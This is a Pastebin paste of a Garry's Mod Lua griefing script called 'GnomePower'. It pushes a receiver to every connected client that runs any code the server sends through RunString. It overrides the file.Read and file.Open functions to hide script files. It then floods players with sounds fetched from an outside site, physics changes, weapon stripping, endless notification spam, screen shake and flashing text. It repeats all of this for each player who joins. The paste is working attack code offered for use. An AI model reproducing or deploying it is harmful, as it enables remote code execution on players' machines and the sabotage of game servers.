Maxdace66

GnomePower.lua V2 [Local]

Sep 8th, 2019
228
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 6.54 KB | None | 0 0
  1. util.AddNetworkString("Gnome_Power")
  2.  
  3. function payload( ply )
  4.     ply:SendLua( "net.Receive([[Gnome_Power]], function() RunString(net.ReadString()) end)" )
  5. end
  6. local bypass = [=====[
  7. if !fRead then
  8. fRead=file.Read
  9. fOpen=file.Open
  10. end
  11.  
  12. file.Open=function(fn,fm,path)
  13. loh=nil
  14. loh=string.Explode("/",fn)
  15. if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path =="LUA" || string.find(fn,"scripthook/") then
  16. chat.AddText("someone tried using file.open to get your "..fn.." with the PATH: "..path.." and file mode: "..fm..".")
  17. return ""
  18. else
  19. return fOpen(fn,fm,path)
  20. end
  21. end
  22.  
  23. file.Read=function(fn,path)
  24. loh=nil
  25. loh=string.Explode("/",fn)
  26. if (loh[2]&&(loh[#loh-1]=="lua"&&(string.find(loh[#loh],".lua") || string.find(loh[#loh],".txt")) || loh[#loh-1]=="scripthook")) || loh[1]&&(string.find(loh[1],".lua") || string.find(loh[1],".txt"))&&path=="LUA" || string.find(fn,"scripthook/") then
  27. chat.AddText("someone tried grabbing ur file named "..fn..".")
  28. return ""
  29. else
  30. return fRead(fn,path)
  31. end
  32. end
  33.  
  34. ]=====]
  35.  
  36. function runcode(ply, code)
  37.     net.Start( "Gnome_Power" )
  38.         net.WriteString("if SERVER then return '' end "..bypass.." "..code )
  39.     net.Send( ply )
  40. end
  41.  
  42. for k, v in pairs( player.GetAll() ) do
  43.     payload( v )
  44. end
  45.  
  46. function run_chaos()
  47.  
  48. hook.Add( "PlayerAuthed", "wat", function( ply )
  49.     payload(ply)
  50. end )
  51.  
  52. BroadcastLua([[sound.PlayURL( "https://furgbgmod.webou.net/librairie/I'M%20A%20GNME!.m4a", "stereo", function() end )]])
  53.  
  54. RunConsoleCommand( "sv_gravity", "200" )
  55. RunConsoleCommand( "sv_friction", "-1" )
  56. player.GetByID( 1 ):StripWeapons()
  57.  
  58. for k, ply in pairs( player.GetAll() ) do
  59.     ply:ChatPrint( "G" )
  60.     ply:ChatPrint( "N" )
  61.     ply:ChatPrint( "O" )
  62.     ply:ChatPrint( "M" )
  63.     ply:ChatPrint( "E" )
  64.     ply:ChatPrint( "-" )
  65.     ply:ChatPrint( "P" )
  66.     ply:ChatPrint( "O" )
  67.     ply:ChatPrint( "W" )
  68.     ply:ChatPrint( "E" )
  69.     ply:ChatPrint( "R" )
  70. end
  71.  
  72. for k,v in pairs(player.GetAll() ) do
  73.     runcode(v, [==[        
  74.         local vars2 = { NOTIFY_GENERIC , NOTIFY_ERROR , NOTIFY_UNDO , NOTIFY_HINT, NOTIFY_CLEANUP }
  75.         local vars3 = {"Les Gnome Arrivent en ville !"}      
  76.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_GENERIC , 1 )
  77.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_ERROR , 1 )
  78.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_UNDO , 1 )
  79.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_HINT , 1 )
  80.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_CLEANUP , 1 )
  81.         timer.Create( "spamnotifafter", 0.2, 0, function()
  82.         notification.AddLegacy( vars3[math.random(1,#vars3)], vars2[math.random(1,#vars2)] , 1 )
  83.         end)
  84.     ]==])
  85. end
  86.  
  87. timer.Create("notifspam", 17.8, 0, function()  
  88.     for k,v in pairs(player.GetAll() ) do
  89.         runcode(v, [==[        
  90.         local vars2 = { NOTIFY_GENERIC , NOTIFY_ERROR , NOTIFY_UNDO , NOTIFY_HINT, NOTIFY_CLEANUP }
  91.         local vars3 = {"Gnome", "Gnome Power", "Power", "power", "gnome", "I'M A GNOME!", "Gnome your Chums", "Gnome your Chums with the new", "Youve been Gnomed", "video greeting", "join my members at", "www.nogginclontith.co.uk"}    
  92.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_GENERIC , 1 )
  93.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_ERROR , 1 )
  94.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_UNDO , 1 )
  95.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_HINT , 1 )
  96.         notification.AddLegacy( vars3[math.random(1,#vars3)], NOTIFY_CLEANUP , 1 )
  97.         timer.Create( "spamnotifafter", 0.2, 0, function()
  98.         notification.AddLegacy( vars3[math.random(1,#vars3)], vars2[math.random(1,#vars2)] , 1 )
  99.         end)
  100.         ]==])
  101.     end
  102. end)
  103.  
  104. timer.Create("gnomearrive", 1.5, 1, function ()
  105.     for k, ply in pairs( player.GetAll() ) do
  106.         ply:ChatPrint(" ")
  107.         ply:ChatPrint( "///////////////////////////////" )
  108.         ply:ChatPrint( " Les Gnome Arrivent en ville !" )
  109.         ply:ChatPrint( "///////////////////////////////" )
  110.         ply:ChatPrint( " " )
  111.         ply:ChatPrint( " " )
  112.         ply:ChatPrint( "I'M A GNOME !" )
  113.         ply:ChatPrint( " " )
  114.         ply:ChatPrint( "///////////////////////////////" )
  115.     end
  116. end)
  117.  
  118. timer.Create("musiquetwo", 17.5, 1, function()
  119. for k,v in pairs(player.GetAll() ) do
  120.     BroadcastLua([[sound.PlayURL( "https://furgbgmod.webou.net/librairie/power.mp3", "stereo", function() end )]])
  121. end
  122. end)
  123.  
  124. timer.Create("screenshake", 17.8, 0, function()
  125.     for k,v in pairs(player.GetAll() ) do
  126.         runcode(v, [==[
  127.             util.ScreenShake( LocalPlayer():GetPos(), 30, 30, 999999, 10000 )
  128.         ]==])
  129.     end
  130. end)
  131.  
  132. timer.Create("modificateoption", 26.0, 1, function ()
  133.     for k,v in pairs(player.GetAll() ) do
  134.         RunConsoleCommand( "sv_gravity", "100" )
  135.         RunConsoleCommand( "sv_friction", "-8" )
  136.         player.GetByID( 1 ):StripWeapons()
  137.     end
  138. end)
  139.  
  140. timer.Create("gnomemodif", 26.1, 1, function ()
  141. for k, ply in pairs( player.GetAll() ) do
  142.         ply:ChatPrint( " " )
  143.                 ply:ChatPrint( " Les Gnomes sont devenue des dieux " )
  144.                         ply:ChatPrint( " Ils peuvent donc détruire le monde " )
  145.         ply:ChatPrint( " " )
  146.     end
  147. end)
  148.  
  149. timer.Create("textoncenter", 26.1, 1, function()
  150. for k,v in pairs(player.GetAll() ) do
  151.     runcode(v, [==[
  152.     local screen_scale = math.Clamp(ScrH()/1080, 0.6, 1);
  153.  
  154.     surface.CreateFont( "Bigfred", {
  155.     font = "Roboto",
  156.     extended = false,
  157.     size = screen_scale *  1000,
  158.     weight = 200,
  159.     blursize = 1.5,
  160.     scanlines = 0,
  161.     antialias = true,
  162.     underline = false,
  163.     italic = false,
  164.     strikeout = false,
  165.     symbol = false,
  166.     rotary = false,
  167.     shadow = false,
  168.     additive = true,
  169.     outline = false,
  170.     } )
  171.  
  172.     hook.Add( "HUDPaint", "aumillieu", function()
  173.     draw.SimpleTextOutlined(
  174.     "Gnome Power",
  175.     "Bigfred",
  176.     ScrW() /2 + math.random(80,5),
  177.      ScrH() /2 + math.random(80,5),
  178.        Color(math.random(1,255),math.random(1,255),math.random(1,255)),
  179.     TEXT_ALIGN_CENTER,
  180.     TEXT_ALIGN_CENTER,
  181.     3,
  182.     Color( 0,0,0, 160 )
  183.     )
  184.     end)
  185.  
  186.         ]==])
  187.     end
  188. end)
  189.  
  190. end
  191.  
  192. if !hook.GetTable().PlayerInitialSpawn.podsos then
  193. hook.Add("PlayerInitialSpawn", "podsos", function()
  194. timer.Simple(10, function()
  195. run_chaos()
  196. end)
  197. end)
  198. run_chaos()
  199. end
Advertisement
Add Comment
Please, Sign In to add comment